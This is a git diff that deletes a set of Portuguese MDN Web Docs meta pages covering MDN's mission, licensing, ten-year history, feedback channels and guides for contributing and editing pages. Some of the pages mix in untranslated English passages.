-
diff --git a/files/pt-pt/mdn/about/index.html b/files/pt-pt/mdn/about/index.html deleted file mode 100644 index 7ab1b3740e..0000000000 --- a/files/pt-pt/mdn/about/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Sobre a MDN -slug: MDN/About -tags: - - Colaboração - - Comunidade - - Direitos de Autor - - Documentação - - Guía - - Licenças - - Metadados da MDN -translation_of: MDN/About -original_slug: MDN/Sobre ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

MDN Web Docs é uma plataforma de aprendizagem em evolução para as tecnologias da Web e software que energiza a Web, incluindo:

- - - -

A nossa missão

- - - -

A missão da MDN é simples: proporcionar aos programadores a informação que eles precisam para criarem facilmente projetos na Web aberta. Se é uma tecnologia aberta exposta à Web, nós queremos documentá-la.

- -

Além disso, nós proporcionamos documentação sobre os produtos Mozilla e como criar e contribuir para os projetos da Mozilla.

- -

Se não tiver a certeza se um tópico em particular deve ser abrangido na MDN, leia: Isso pertence ao MDN?

- - - -

Como é que pode ajudar

- - - -

Não precisa de ser capaz de programar - ou escrever bem - para poder ajudar a MDN! Nós temos muitas maneiras em que pode ajudar, desde rever artigos para ter a certeza de que fazem sentido, para contribuir com texto, para adicionar código de exemplo. De facto, existem muitas maneiras de ajudar que nós temos uma página de Primeiros Passos que o ajuda a escolher as tarefas para fazer, com base nos seus interesses e quanto tempo é que tem para contribuir!

- -

Também pode ajudar a promover a MDN no seu próprio blogue ou site da Web.

- - - -

A comunidade da MDN

- -

Nossa comunidade é global! Temos colaboradores incríveis em todo o mundo, em vários idiomas. Se você quiser saber mais sobre nós, ou se precisar de ajuda de qualquer tipo com o MDN, fique à vontade para visitar nosso fórum de discussão ou canal de IRC! Você também pode acompanhar o que estamos fazendo seguindo nossa conta no Twitter, @MozDevNet. Você também pode enviar tweets para nós, se você vir algo errado ou se você gostaria de oferecer feedback (ou quiser nos agradecer) aos nossos escritores e colaboradores!

- -

Utilizar conteúdo da MDN Web Docs

- -

O conteúdo da MDN está disponível gratuitamente, e sob as licenças de código aberto.

- -

Direitos de Autor e Licenças

- -

O conteúdo da MDN está totalmente disponível sob várias licenças de código aberto. Esta secção cobre os tipos de conteúdo que nós proporcionamos e quais as licenças em vigor para cada.

- -

Documentação e artigos

- -

MDN wiki documents have been prepared with the contributions of many authors, both within and outside the Mozilla Foundation. Unless otherwise indicated, the content is available under the terms of the Creative Commons Attribution-ShareAlike license (CC-BY-SA), v2.5 or any later version. Please attribute "Mozilla Contributors" and include a hyperlink (online) or URL (in print) to the specific wiki page for the content being sourced. For example, to provide attribution for this article, you can write:

- -
Sobre a MDN, pelos Colaboradores da Mozilla (inglês) está licenciado sob CC-BY-SA 2.5.
- -

Note that in the example, "Mozilla Contributors" links to the history of the cited page. See Best practices for attribution (EN) for further explanation.

- -
-

Nota: consulte o conteúdo da MDN em WebPlatform.org para informação sobre como reutilizar e atribuir conteúdo MDN nesse site.

-
- -

Code samples and snippets

- -

Code samples added to this wiki before August 20, 2010 are available under the MIT license; you should insert the following attribution information into the MIT template: "© <date of last wiki page revision> <name of person who put it in the wiki>".

- -

Code samples added on or after August 20, 2010 are in the public domain. No licensing notice is necessary, but if you need one, you can use: "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/".

- -

Contribuições

- -

If you wish to contribute to this wiki, you must make your documentation available under the Attribution-ShareAlike license (or occasionally an alternative license already specified by the page you are editing), and your code samples available under Creative Commons CC-0 (a Public Domain dedication). Adding to this wiki means you agree that your contributions will be made available under those licenses.

- -

Some older content was made available under a license other than the licenses noted above; these are indicated at the bottom of each page by way of an Alternate License Block.

- -
-

Não podem ser criadas novas páginas utilizando licenças alternativas.

-
- -

Os direitos de autor para os materiais contribuídos permanecem com o autor, a menos que o mesmo o atribua a outra pessoa.

- -

Se tiver quaisquer questões relacionadas ou problemas sobre qualquer coisa aqui discutida, por favor, contacte Eric Shepherd.

- -

Logótipo, marcas registadas, marcas de serviço e wordmarks

- -
-

The rights in the trademarks, logos, service marks of the Mozilla Foundation, as well as the look and feel of this web site, are not licensed under the Creative Commons license, and to the extent they are works of authorship (like logos and graphic design), they are not included in the work that is licensed under those terms. If you use the text of documents, and wish to also use any of these rights, or if you have any other questions about complying with our licensing terms for this collection, you should contact the Mozilla Foundation here: licensing@mozilla.org.

- -

Interligação com a MDN

- -

See this article for guidance on linking to MDN for best practices when linking.

- -

Transferência de conteúdo

- -

Pode transferir um tarball mirror completo da MDN. (2.1GB, em fevereiro de 2017)

- -

Páginas únicas

- -

You can retrieve the content of a single page on MDN by adding document parameters to the URL to specify what format you want.

- -

Ferramentas de terceiros

- -

You can view MDN content via third-party tools like Dash (for Mac OS) and Zeal (for Linux and Windows).

- -

Kapeli also publishes offline MDN docs covering HTML, CSS, JavaScript, SVG, and XSLT.

- -

Comunicação de problemas com MDN Web Docs

- -

Consultar "Como comunicar um problema na MDN".

- -

Histórico da MDN Web Docs

- -

MDN Web Docs (anteriormente Mozilla Developer Network (MDN), anteriormente projeto da Mozilla Developer Center (MDC), a.k.a. Devmo) começou no início de 2005, quando a Fundação Mozilla (inglês) obteve a licença da AOL para utilizar o conteúdo DevEdge original do Netscape. O conteúdo DevEdge foi minado para o material ainda útil, que foi migrado por voluntários para esta wiki, e assim esta seria mais fácil para atualizar e manter.

- -

Pode encontrar mais história da MDN na nossa página de celebração do 10º. aniversário, incluindo uma história verbal por algumas das pessoas que estiverem envolvidas.

- -

Sobre a Mozilla

- -

Se quer saber mais sobre quem somos, como fazer parte da Mozilla ou apenas onde nos encontrar, veio ao lugar certo. Para descobrir o que nos impulsiona e nos torna diferentes, visite a nossa página da missão.

diff --git a/files/pt-pt/mdn/at_ten/history_of_mdn/index.html b/files/pt-pt/mdn/at_ten/history_of_mdn/index.html deleted file mode 100644 index 8c49815a25..0000000000 --- a/files/pt-pt/mdn/at_ten/history_of_mdn/index.html +++ /dev/null @@ -1,226 +0,0 @@ ---- -title: A História da MDN -slug: MDN/At_ten/History_of_MDN -tags: - - História - - Metadados MDN -translation_of: MDN_at_ten/History_of_MDN -original_slug: MDN_at_ten/Historia_da_MDN ---- -
-

In this talk, several contributors of the MDN project look at the past ten years of developer.mozilla.org, and at the decade to come. You will hear the story of different wiki software migrations, how a documentation community was built, and many more highlights of the history of the site. The group then also talks about current challenges and projects the MDN community is working on this year.

- -
- - -

{{ EmbedLiveSample('audio', '100%', '60px') }}

- -

Below, learn more about the people who are sharing their memories and thoughts, and get a deeper look at specific details they mention.

-
-
- -
-
Justin Crawford - -

Justin Crawford Product Manager, MDN

- -

Justin moderates this talk and makes things with code, words, bike parts, and lumber. He is @hoosteeno on Twitter.

-
- -
-

O que é MDN, e para quem é? Um lugar para a comunidade Open Web  Um lugar para a comunidade da 'Web Aberta'

- -

MDN provides useful information for Web technologies, and encourages learning, sharing, and teaching in the open Web community. On MDN, you come together and make things for yourself and for others.

-A place for Mozilla developers - -

MDN is also a place for Mozilla engineers, such as Gecko or Firefox hackers, add-on developers, and Firefox OS contributors.

-
- -
Eric Shepherd - -

Eric "Sheppy" Shepherd Technical Writer, MDN

- -

Sheppy has been here documenting for Mozilla since 2006, and has a lot of history (and crazy ideas) when it comes to MDC and MDN over the years. He is @sheppy on Twitter.

-
- -
-

The history of MDN Pre-wiki era – Netscape DevEdge

- -

In the early days there was DevEdge, the developer documentation from Netscape which formed the basis of some of MDN's documentation. Have a look at the past on archive.org:

- -

Netscape DevEdge

- -

On October 12, 2004, this popular developer website was shut down by AOL, Netscape's parent company. Only a few months later, in February 2005, Mitchell Baker was able to rescue DevEdge and reached an agreement with AOL that allowed Mozilla to post, modify, and create new documents based on the former Netscape DevEdge materials. In other words, what happened to the Mozilla source in 1998 finally happened for Netscape's developer documentation as well: It became open source.

- -

Deb Richardson joined the Mozilla Foundation as a Technical Editor and lead the new DevMo project for community driven developer documentation.

-
- -
-

MediaWiki The first wiki engine

- -

With MediaWiki as the new underlying project platform, the Mozilla developer documentation has been made editable for anyone starting in July 2005. A new collaborative element in Mozilla was established and since then anyone is welcome to help making it better and to share knowledge. A new international community began to grow and to translate developer contents into other languages.

- -

MDC MediaWiki

-
- -
Florian Scholz - -

Florian Scholz Technical Writer, MDN

- -

Florian is a Technical Writer at Mozilla focused on open web technologies. He is a wiki gnome, gardening the documentation as if it were flowers, and he likes to work with the community toward the goal of documenting the Web and making it accessible to everyone. Florian is passionate about open source, he is based in Bremen, Germany, and tweets as @floscholz on Twitter.

-
- -
-

DekiWiki The second wiki engine

- -

In August 2008, the Mozilla Developer Center switched to MindTouch DekiWiki, a powerful and new content management system and wiki system for technical documentation. This platform change was quite controversial in the community that was used to MediaWiki from 2005 on and built tools around it.

- -

MDC DekiWiki

-
- -
Ali Spivak - -

Ali Spivak Herder of awesome MDN cats

- -

Ali Spivak manages content & community on the Mozilla Developer Network and spends her time thinking of ways to help make the Web even more awesome. She is passionate about maintaining a free and open Web, and, after jumping into open source when she joined Mozilla in 2012, has focused on building and participating in the developer communities at Mozilla. She is @alispivak on Twitter.

-
- -
-

Kuma The third and current wiki engine

- -

Kuma, forked from Kitsune in early 2011 and launched on August 3, 2012, is a Mozilla-built wiki platform based on Django with its own KumaScript macro system which uses Node.js.

- -

With the code living on GitHub, the community started to contribute to MDN's CMS as well. From now on, hacking on MDN includes both writing documentation and Kuma coding.

- -

MDN KUMA

-
- -
David Walsh - -

David Walsh Web developer, MDN

- -

Mozilla Sr. Web Developer, Front-End Engineer, MooTools Core Developer, Javascript Fanatic, CSS Tinkerer, PHP Hacker, web and open source lover. David is @davidwalshblog on Twitter.

-
- -
-

Redesigning MDN Kuma with the refreshed design

- -

The redesign of MDN was a big project. Sean Martell designed the new MDN visual identity. It was then an iterative process with a beta user group of 3000 MDNers during several months. The new look was behind a "Waffle flag" (MDN's feature flag system). Major shout-outs also to David Walsh who was really championing the entire redesign and gave MDN the front-end that it deserves.

-Waffle flag
- -
Janet Swisher - -

Janet Swisher Community Manager, MDN

- -

Janet is a Mozilla Community Manager for Mozilla Developer Network. She joined Mozilla in 2010, and has been involved in open source software since 2004 and in technical communication since the 20th century. She is @jmswisher on Twitter.

-
- -
-

Community around Open Web docs Community-driven, browser-agnostic Open Web documentation

- -

At some point in 2010, especially when community members and Technical Writers met in Paris, it became more obvious that MDN's focus is clearly shifting from "Let's document all things Firefox!" to "Let's document the Web!". Documentation has been cleaned up and restructured over the last few years, so that MDN's open Web documentation is browser-agnostic. This material, useful for anyone developing for the Web, is our most popular and most widely used content.

- -

Different browser vendors have joined every once in a while to help shape this part of MDN. This cross-browser collaboration has been very successful and is appreciated by MDN's readers.

-
- -
Luke Crouch - -

Luke Crouch Web developer, MDN

- -

Luke Crouch is a home-brewer, soccer fan and web developer for Mozilla. He's been developing on the web since 1996, using Firefox since 2004, writing open source software since 2006, and joined Mozilla as the first staff MDN web dev in 2010. Luke is @groovecoder on Twitter.

-
- -
-

Localization communities MDN serves a global audience in many languages

- -

Localization is a big part of the Mozilla community; it is a component of almost every project and product. Using Kuma, MDN is also very localizable and suited for the needs of our l10n community. The W3C specifications and other resources describing the Web's functionality have no direct goals, and have communities that provide specs in multiple languages. Especially for beginners, MDN is the first step to explore web technologies, so it's our aim to be there for everyone. MDN has a broad audience and aims to include not only native English speakers. It is appreciated all around the globe.

-
- -
Julien - -

Julien (a.k.a. Sphinx) French localization, MDN

- -

Julien spent many nights and weekends over several month, translating JavaScript articles into French. He is not a developer, but has a background in IT and wants to learn more about new technologies. He contributes to MDN instead of watching TV.

-
- -
Jean-Yves Perrier - -

Jean-Yves Perrier Technical Writer, MDN

- -

Jean-Yves has been a Technical Writer on MDN since 2010 and joined Mozilla full-time at the end of 2011. He is passionate about the open Web, with 15 years of C++ experience. He is Swiss but lives in London, UK. His Erdös number is 5 and he is @Teoli2003 on Twitter.

-
- -
-

Learning Area

- -

The MDN Learning Area is a new effort to teach basic web skills. Over the last 10 years, MDN added a lot of advanced material, serving experts with valuable information. This project is focused on materials for beginners, and tries to fill in a lot of knowledge gaps.

-
- -
Jérémie Patonnier - -

Jérémie Patonnier Technical Writer, MDN

- -

Jérémie is a long time contributor to the Mozilla Developer Network, and a professional web developer since 2000. He's advocating web standards and write documentation about web technologies with the will to make them accessible to everybody. He is @JeremiePat on Twitter.

-
- -
-

The future of MDN What will be different when we celebrate 20 years of MDN?

- -

Everyone involved with MDN really cares about the web being open and accessible, and that's why we have the localization teams and all of the people contributing. MDN hopes to continue to be a key player in keeping the Web the way we feel it should be.

- -

One big part of this future is going to be learning resources. There will be a lot more Web developers over the next ten years.

- -

Another big part of our job is maintaining and updating the information we already have, so we can always serve relevant content to Web developers.

- -

What is changing and will likely change more in the future, is how information is consumed. Today people searching for information and looking up documentation. In the future, MDN documentation might be delivered directly in code editors, Firefox Developer Tools, and many other developer tools and services.

-
- -
-

Awesome contributors Many more people have done amazing work on MDN

- -
-
    -
  • Les Orchard
  • -
  • John Karahalis
  • -
  • David Walsh
  • -
  • Jannis Leidel
  • -
  • Stephanie Hobson
  • -
  • James Bennett
  • -
  • Isac Lagerblad
  • -
  • Piotrek Koszuliński
  • -
  • Craig Cook
  • -
  • Rob Hudson
  • -
  • John Whitlock
  • -
  • ...
    - And many more Kuma contributors.
  • -
- - -
    -
  • Chris Mills
  • -
  • Will Bamberg
  • -
  • David Bruant
  • -
  • Thierry Régagnon
  • -
  • etherthank
  • -
  • Saurabh Nair
  • -
  • Deb Richardson
  • -
  • Sebastian Zartner
  • -
  • Tooru Fujisawa
  • -
  • Karen Scarfone
  • -
  • Niklas Barning
  • -
  • ...
    - And hundreds more wiki collaborators.
  • -
-
-The Berlin Office
-
diff --git a/files/pt-pt/mdn/at_ten/index.html b/files/pt-pt/mdn/at_ten/index.html deleted file mode 100644 index 637fb0eb17..0000000000 --- a/files/pt-pt/mdn/at_ten/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 10.º Aniversário da MDN -slug: MDN/At_ten -tags: - - MDN -translation_of: MDN_at_ten -original_slug: MDN_at_ten ---- -
Celebrar 10 anos de documentação da sua Web.
- -
-
-

A história da MDN

- -

No início de 2005, uma pequena equipa de idealistas juntaram-se para criar uma comunidade nova e livre, de recursos on-line para todos os programadores da Web. Com a ideia brilhante mas estranha, cresceu até hoje para se tornar no que é hoje, a Rede de Desenvolvimento da Mozilla - o primeiro recurso para todas as tecnologias abertas da Web. Dez anos mais tarde, a nossa comunidade global é maior do que nunca, e juntos iremos continuar a criar documentação, exemplos de código e recursos de aprendizagem para todas as tecnologias abertas da Web, incluindo CSS, HTML, JavaScript e tudo o mais que torna a Web aberta tão poderosa como é.

- -

Saber maisabout the history

- - -

Contribuir para a MDN

- -

Durante dez anos, a nossa comunidade MDN tem vindo a documentar a Web aberta. Desde corrigir pequenos erros até escrever conjuntos completos de uma API completamente nova, toda a gente tem qualquer coisa para oferecer, e nenhuma contribuição é menos ou mais importante do que qualquer outra. Nós temos mais de 90 000 páginas de conteúdo que têm vindo a ser escritas ou traduzidas por membros da nossa comunidade fantástica de Mozillians. Pode tornar-se num deles.

- -

Saber maisabout contributing

- -

 

- -

 

-
- -
{{TenthCampaignQuote}}
- - - -
    -
  1. 10.º Aniversário da MDN
  2. -
  3. A história da MDN
  4. -
  5. Contribuir para a MDN
  6. -
-
diff --git a/files/pt-pt/mdn/contribute/feedback/index.html b/files/pt-pt/mdn/contribute/feedback/index.html deleted file mode 100644 index a4e88f36f8..0000000000 --- a/files/pt-pt/mdn/contribute/feedback/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Enviar opinião sobre a MDN -slug: MDN/Contribute/Feedback -tags: - - Documentação - - Guía - - MDN - - Metadados MDN -translation_of: MDN/Contribute/Feedback ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Bem-vindo à MDN! Se tiver sugestões, ou tiver problemas ao utilizar a MDN, este é o lugar certo para estar. O simples facto de estar interessado em oferecer a sua opinião/comentário faz com que faça parte da comunidade da Mozilla e nós agradecemos antecipadamente pelo seu interesse.

- -

Tem várias opções para oferecer a sua visão; este artigo irá ajudá-lo a fazer isso.

- -

Atualizar a documentação

- -

First of all, if you've seen a problem with the documentation, you should always feel free to correct it yourself. Simply sign in using Github, then click any blue Edit button to open the editor and enter the world of contributing to MDN documentation. The documentation here is in a wiki, and is curated by a team of volunteers and paid staff, so don't be shy—your grammar doesn't have to be perfect. We'll clean it up if you make a mistake; no harm done!

- -

Para mais informação sobre a contribuição para a documentação da MDN, consulte:

- - - -

Junte-se à conversação

- -

Fale connosco! Existem algumas maneiras para entrar em contacto com outras pessoas que trabalham com conteúdo na MDN.

- -

Conversação (Síncrono)

- -

-

Discussões (Assíncrono)

- - -

Longer-term discussions happen on our MDN discussion forum. You can post to the forum via email to mdn@mozilla-community.org. If you join the forum, you can choose to have notifications about discussions sent to you via email as well.

- -

Comunicar um problema

- -

Problemas na documentação

- -

Se encontrar um problema na documentação e não conseguir corrigí-lo por qualquer motivo, poderá comunicar o problema! Pode utilziar este formulário para qualquer problema da documentação, por exemplo:

- -
    -
  • uma correção simples
  • -
  • um pedido para uma parte completa de conteúdo
  • -
  • comunicar conteúdo inapropriado (incluindo "spam" e traduções erradas)
  • -
- -

Como mencionado anteriormente, nós convidamo-lo para contribuir com as suas alterações, mas esta opção também está disponível para si.

- -

Problemas no site

- -

Se encontrar problemas com o site da Web da MDN, ou tiver ideias para novas características para o site,  pode submeter um pedido à equipa de desenvolvimento da MDN.

diff --git a/files/pt-pt/mdn/contribute/getting_started/index.html b/files/pt-pt/mdn/contribute/getting_started/index.html deleted file mode 100644 index 315613f49c..0000000000 --- a/files/pt-pt/mdn/contribute/getting_started/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Iniciação na MDN -slug: MDN/Contribute/Getting_started -tags: - - Beginner - - Guía - - Iniciação - - Introdução - - Metadados MDN -translation_of: MDN/Contribute/Getting_started ---- -
-
{{MDNSidebar}}
-
- -

Nós somos uma comunidade aberta de programadores e autores que criam recursos para uma Web melhor, independentemente da marca, navegador, ou plataforma. Qualquer pessoa pode contribuir e cada uma que o faz, torna-nos mais fortes. Juntos, nós podemos continuar a inovar na Web para o bem de todos. Isso começa aqui, consigo.

- -

Cada parte da MDN (desde o site até à documentação, amostras de código, e demonstrações) é criada por uma comunidade de programadores e autores. Por favor considere colaborar também!

- -

3 passos simples para a MDN

- -
-
-
A MDN é uma wiki, onde qualquer pessoa pode adicionar e editar conteúdo. Não precisa de ser um programador ou saber muito sobre tecnologia. Existem várias coisas que precisam ser feitas, desde tarefas simples, tal como a revisão de textos e correção de erros ortográficos até às mais complexas, tal como escrever documentação API.
- -
-
-
- -
-
-
Contribuir é fácil e seguro. Mesmo que cometa um erro, este é facilmente corrigido. Se não sabe ao certo qual deverá ser o aspeto final ou o seu vocabulário não é o mais rico, não se preocupe! Nós temos uma equipa de pessoas cujo trabalho é ter a certeza de que o conteúdo da MDN é tão bom quanto possível. Alguém certificar-se-á de que o seu trabalho está conciso e bem escrito. Partilhe o que sabe, siga o seu instinto e confie no resto da comunidade para o ajudar a melhorar o seu trabalho.
-
-
- -

Passo 1: Criar uma conta na MDN

- -

Para começar a contribuir na MDN precisa de ter uma conta na MDN. Para mais detalhes, por favor, consulte como criar uma conta.

- -

Passo 2: Escolher uma tarefa

- -
-
-
Agora que iniciou a sessão, leia as descrições das tarefas diferentes em {{anch("Tarefas disponíveis", "a lista abaixo")}}, e decida qual é a mais apelativa para si. Pode escolher qualquer tarefa que lhe agrade e comece a contribuir.
-
-
- -

Passo 3: Executar a tarefa

- -

Assim que decidir que tarefa é que pretende fazer, procure uma página específica, exemplo de código, etc., para trabalhar, e comece!

- -

Não se preocupe em ser perfecionista; outros colaboradores da MDN estão aqui para ajudar a corrigir eventuais erros. Para quem quiser experimentar com a edição na MDN antes de fazer algo "a sério", nós temos a página Sandbox onde poderá testar livremente. Se entretanto tiver dúvidas, consulte a página da Comunidade para informação sobre contactos e canais de conversação onde poderá obter as suas respostas.

- -

Quando tiver terminado a tarefa escolhida, sinta-se livre para escolher outro item, ou consulte abaixo outras coisas que pode fazer na MDN.

- -

Tarefas disponíveis

- -

Existem várias formas possíveis para que possa contribuir para a MDN, dependendo do seu conjunto de habilidades e interesses. Mesmo que algumas tarefas possam ser assustadoras, nós temos muitas atividades simples disponíveis. Algumas delas apenas precisam de cinco minutos (ou menos!) do seu tempo. Abaixo, com a tarefa e respetiva breve descrição, encontrará o tempo aproximado que cada tarefa normalmente demora.

- -

Opção 1: Eu gosto de palavras

- -

Pode ajudar-nos a rever ou a editar documentos existentes, e aplicar as etiquetas corretas para os mesmos.

- - - -
Nota: se estiver a rever ou a escrever novos artigos, nós pedimos-lhe para, por favor, rever o 'Guia de Estilo'. Isto irá ajudar a assegurar que os artigos sejam consistentes.
- -

Opção 2: Eu gosto de código

- -

Nós precisamos de mais exemplos de código! Também pode ajudar a criar a plataforma do nosso site, Kuma!

- - - -

Opção 3: Eu gosto de palavras e código

- -

Nós temos tarefas que requerem competências técnicas e linguísticas, tais como escrever novos artigos, rever para uma correção técnica, ou adaptar documentos.

- - - -

Opção 4: Eu quero a MDN no meu idioma

- -

Todo o trabalho de localização e tradução feito na MDN é elaborado pela nossa incrível comunidade de voluntários.

- - - -

Opção 5: Eu encontrei alguma informação errada, mas não sei como corrigi-la

- -

Pode comunicar problemas, preenchendo um formulário de erro na documentação (EN) (5 minutos)

- -

Outras coisas que pode fazer na MDN

- - diff --git a/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html deleted file mode 100644 index 309ae4f848..0000000000 --- a/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Como converter exemplos de código para ficarem "live" -slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live -tags: - - Como - - Metadados MDN - - Principiante -translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live -original_slug: MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live ---- -
{{MDNSidebar}}
- -

MDN tem um sistema de "exemplos live", onde o exemplo de código é mostrado numa página utilizada diretamente para exibir o resultado desse mesmo exemplo. Contudo, muitos artigos existentes tem exemplos de código que ainda não utilizam este sistema, e precisam de ser convertidos.

- -

Exemplos live, permitem-lhe ver como é que é o exemplo de destino. Este guia fala sobre como utilizar os exemplos existentes e adicionar a funcionalidade "live" às mesmas.

- -
-
Onde é que isso precisa de ser feito?
-
Artigos com a etiqueta NeedsLiveSample
-
O que precisa de saber para realizar a tarefa?
-
-
    -
  • Conhecimentos em HTML, CSS e/ou JavaScript, dependendo da amostra de código.
  • -
  • Capacidade de usar macros KumaScript dentro dos artigos MDN.
  • -
-
-
Quais são os passos para realizar a tarefa?
-
-
    -
  1. Escolher um artigo da lista de artigos que estão marcados NeedsLiveSample, onde a amostra de código é para uma funcionalidade com que se sente familiarizado.
  2. -
  3. Converter a amostra de código para ser "live".
  4. -
  5. Eliminar qualquer código ou imagem que fosse previamente utilizada para demonstrar o output da amostra.
  6. -
-
-
- -

Para mais informação sobre a criação  e edição de Amostras Live, consulte Utilizar o sistema de amostra live

diff --git a/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html b/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html deleted file mode 100644 index 310334a95a..0000000000 --- a/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Como criar e editar páginas -slug: MDN/Contribute/Howto/Create_and_edit_pages -tags: - - Guía - - Introdução - - MDN Meta - - Principiante -translation_of: MDN/Contribute/Howto/Create_and_edit_pages -original_slug: MDN/Contribute/Howto/Criar_e_editar_paginas ---- -
{{MDNSidebar}}
- -

Este artigo introduz novos colaboradores ao processo de editar páginas existentes e criar novas páginas.

- -

Editar uma página existente

- -

Para editar uma página:

- -
    -
  1. Clique no botão Editar perto do canto superior direito da página.
  2. -
  3. A página vai recarregar, com uma interface de edição onde podes acrescentar ou apagar informação diretamente.
  4. -
  5. Acrescente parágrafos, apague texto, insira títulos, e realize outras funções básicas envolvidas em escrever e editar.
  6. -
- -

Veja o guia do Elementos da IU do editor, no Guia para o editor da IU da MDN, para obter mais informação sobre a utilização do editor incorporado da MDN.

- -

Pré-visualizar alterações

- -

Para ver o aspeto das suas alterações:

- -
    -
  • Clique no botão Preview (Pré-visualizar), dentro da função de edição na parte superior ou inferior da página.
  • -
  • Isto abre a página de pré-visualização, que mostra as edições numa nova janela ou separador.
  • -
  • De cada vez que carregar neste botão, a página de pré-visualização é atualizada para refletir as alterações mais recentes.
  • -
- -

Tenha cuidado! Pré-visualizar uma página não guarda o seu progresso. Não feche o separador em que está a editar até ter guardado o seu trabalho.

- -

Comentário de revisão

- -

Depois de pré-visualizar as alterações, vai querer guardar a sua revisão. Antes de guardar, procure a caixa do comentário de revisão, por baixo da caixa de edição,  e deixe um comentário para informar outros colaboradores de porque é que fez alterações. Diga, por exemplo, se acrescentou uma secção nova, mudou algumas palavras para tornar a terminologia mais consistente, reescreveu um parágrafo para esclarecer a linguagem, ou removeu informação redundante.

- -

Índice

- -

A secção "Neste artigo", é uma lista, gerada automaticamente, de ligações para os títulos numa página. Estes podem ser modificados através dos títulos. Também é possível remover um índice ou reduzir o número de ligações ao selecionar "Editar o Título e Propriedades da Página" e mudar o valor na caixa de seleção "TOC" (Table of contents / Índice).

- -

Etiquetas (Tags)

- -

Pode adicionar ou remover etiquetas, que descrevem o conteúdo e propósito da página, por baixo da secção de edição. Veja Como etiquetar devidamente as páginas para obter informação sobre as etiquetas que deve utilizar.

- -

Necessita de revisão?

- -

Se um colaborador perito ou experiente deve rever as suas edições, por favor peça uma revisão técnica (de código, API, ou tecnologias), e/ou uma revisão editorial (de prosa, gramática, e conteúdo), certificando-se de que a caixa adequada tem um visto antes de guardar.

- -

Anexar ficheiro

- -

Se pretende anexar um ficheiro a uma página existente, ou acrescentar uma ilustração para dar melhores esclarecimentos, o mesmo pode ser acrescentado na margem inferiro da página. Quando envia uma imagem, por favor utilize uma ferramente de otimização de imagens para tornar o ficheiro o mais pequeno possível. Desta forma, reduz o tempo de carregamento da página e ajuda o desempenho geral da MDN. Utilize a sua ferramente preferida, se tiver uma; se não, sugerimos TinyPNG, uma ferramenta Web acessível.

- -

Publicar, Descartar, ou Continuar a editar

- -

Quando termina de editar e está contente com a pré-visualização, publique o seu trabalho e comentários com o botão verde Publicar, à direita do título da página, ou no fim da página. Se pretende continuar, clique em Publicar e cotinuar a editar, o qual publica as suas alterações e mantém a interface de edição aberta.

- -

Se mudar de ideias, pode descartar edições com o botão vermelho Descartar. Atenção que este botão descarta permanentemente.

- -

Premir a tecla Enter na caixa de Comentário de Revisão é equivalente a clicar em Publicar e cotinuar a editar.

- -
-

Nota: Se tentar guardar, mas as alterações são rejeitas como inválidas, e acha que o conteúdo é apropriado para a MDN, envie um e-mail à equipa de administração da MDN para obter assistência.

-
- -

Getting page-creation permissions

- -

For security reasons, newly-created accounts don't have the ability to create new pages. If you try to do so, you'll see a page instructing you how to get the page created. There are two options:

- -
    -
  • Ask for the page to be created for you. To do this, file a documentation request issue, with the title "Create page: <page title>". Fill out the URL field of the template with the location on MDN where you'd like the page to go if you know where to place it. In the comment text, include information on why this page needs creating.
  • -
  • Request page creation privileges. If you request page creation privileges, and they're granted to you, you'll be able to add new pages by following the instructions here. To request these privileges, email the MDN admin team with your request. Include your username, why you would like to have the ability to create new pages. For instance, you're documenting a new API which involves many new pages, or you'd like to add new terms to the glossary. You should also have made useful contributions to this site's content, and been a contributor for some time. This length of time, and the other factors are collectively considered.
  • -
- -

Creating a new page

- -

Once you have page-creation permission, you can begin creating pages.

- -

If you do not know where to place a new article, do not worry. Put it anywhere, we will find it, move to where it belongs, or merge it into existing content. Whatever makes the most sense. Do not worry about making it perfect. We have happy helper gnomes who help to make your content clean and rather luscious.

- -

There are a few ways to create a new page:

- - - - - -

As with most wikis, it is possible to create a link to a page that is yet to exist. For example, an author might create a list of all the members of an API, before creating the pages for those members. On MDN, links to non-existent pages are typically displayed in red.

- -

To create a page from a 'missing page' link:

- -
    -
  1. Log into MDN, and have page-creation permission. If not logged in, clicking a 'missing page' link results in a 404 (page not found) error.
  2. -
  3. Click the 'missing page' link. If you have page creation permission, the MDN Editor UI opens, ready for you to create the missing page.
  4. -
  5. Write the content of the page, and save it.
  6. -
- - - -

To create a new page without linking from another page, enter a unique page name in the URL field of your browser. For example, if you enter:

- -
https://developer.mozilla.org/en-US/docs/FooBar
- -

MDN Creates a new page, with the title "FooBar", opening the editor for you to add new content. Refer to the Editing an existing page section of this article, for information on how to use the editor mode.

- -

To create a new page without linking from another page:

- -
    -
  1. Log in, and have page-creation permission.
  2. -
  3. Enter the following in the URL field of your browser:
  4. -
- -
https://developer.mozilla.org/en-US/docs/new
- -

MDN Creates a new page, with a place for a title, opening the editor to add new content to this page. Refer to Editing an existing page, for information on using editor mode.

- -

Subpage of an existing page

- -

To create a page you want to be below an existing page, in the page hierarchy:

- -
    -
  1. On the 'parent' page, click the Advanced menu (the gear icon in the toolbar), then click New sub-page.
  2. -
  3. An editor view opens for creating a new document.
  4. -
  5. Add a title for this document, in the Title field.
  6. -
  7. Change the Slug field, if needed. For example, if the title is long, and a shorter URL seems appropriate. This field is automatically filled by the editor, substituting underscores for spaces found in the title, changing only the last part of the URL.
  8. -
  9. In the TOC field, select heading levels you want to be displayed in the table of contents for the page. Or select 'No table of contents', if one is not needed.
  10. -
